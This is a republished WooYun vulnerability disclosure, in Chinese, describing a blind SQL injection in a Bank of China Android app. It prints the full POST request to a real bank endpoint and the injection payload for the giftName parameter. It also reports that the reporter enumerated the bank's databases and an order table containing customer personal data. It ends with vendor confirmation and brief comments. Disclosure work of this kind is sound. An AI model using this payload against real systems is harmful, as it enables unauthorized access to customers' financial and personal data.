中国银行某APP存在SQL注入（涉及1500W+交易数据）

2017年3月17日06:07:50评论259 views字数 216阅读0分43秒阅读模式

摘要

2016-03-15：细节已通知厂商并且等待厂商处理中
2016-03-17：厂商已经确认，细节仅向厂商公开
2016-03-27：细节向核心白帽子及相关领域专家公开
2016-04-06：细节向普通白帽子公开
2016-04-16：细节向实习白帽子公开
2016-05-01：细节向公众公开

漏洞概要关注数(31) 关注此漏洞

缺陷编号： WooYun-2016-184847

漏洞标题：中国银行某APP存在SQL注入（涉及1500W+交易数据）

漏洞作者：路人甲

提交时间： 2016-03-15 12:35

公开时间： 2016-05-01 09:42

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

5人收藏

漏洞详情

披露状态：

简要描述：

APP安全之SQL注入

详细说明：

目标：中国银行缤纷生活Android APP

检测发现以下地方存在SQL注入：（POST中的giftName，布尔盲注）

code 区域

POST https://card.bank-of-china.com/AppPrj/integralGetGift.do HTTP/1.1
 Cookie: JSESSIONID=0000ABqykfBiJFnkAsVk0xQ6A0x:cluserver1
 Content-Length: 293
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Referer: https://card.bank-of-china.com/AppPrj/integralGetGift.do
 Host: card.bank-of-china.com
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
 Accept: */*
 
 attest=-339418059&city=&clientVersion=2.8.2&currPage=1&deviceToken=&flag=1&giftClass=ICI1000000003&giftName=GPS&imei=863890026674804&imei=863890026674804&lat=22.542534&lon=113.955634&lon=113.955634&pointInterval=&queryNum=10&txnId=1FIN010037&userPlt=00

Payload：

code 区域

giftName=GPS%'+AND+'%'='

漏洞证明：

1、跑出当前数据库用户

2、跑出所有数据库，共18个

3、为证明漏洞风险，同时考虑到银行数据安全，只跑出订单表的数据条数，其他具体内容就不深入了，从字段内容可看出涉及购买人姓名/电话/金额/订单内容、收件人姓名/地址/电话等

修复方案：

请多指教~

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2016-03-17 09:42

厂商回复：

感谢白帽子

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-03-15 12:48 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

1

O_O

1# 回复此人
2016-03-15 13:11 | zzR ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)

1

去你大爷！

2# 回复此人
2016-03-15 13:22 | 晨曦遇晓 ( 普通白帽子 | Rank:203 漏洞数:43 )

1

好流弊

3# 回复此人
2016-03-15 14:00 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

1

@zzR ?

4# 回复此人
2016-03-15 14:42 | zzR ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)

1

@疯狗为什么堂堂国有银行，三天两头就被爆安全问题呢，痛心疾首！

5# 回复此人

漏洞概要 关注数(31) 关注此漏洞

缺陷编号： WooYun-2016-184847

漏洞标题： 中国银行某APP存在SQL注入（涉及1500W+交易数据）

相关厂商： 中国银行

漏洞作者： 路人甲

提交时间： 2016-03-15 12:35

公开时间： 2016-05-01 09:42

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

5人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(31) 关注此漏洞

漏洞标题：中国银行某APP存在SQL注入（涉及1500W+交易数据）

相关厂商：中国银行

漏洞作者：路人甲

危害等级：高

漏洞状态：厂商已经确认

版权声明：转载请注明来源路人甲@乌云

漏洞评价(共0人评价):

登陆后才能进行评分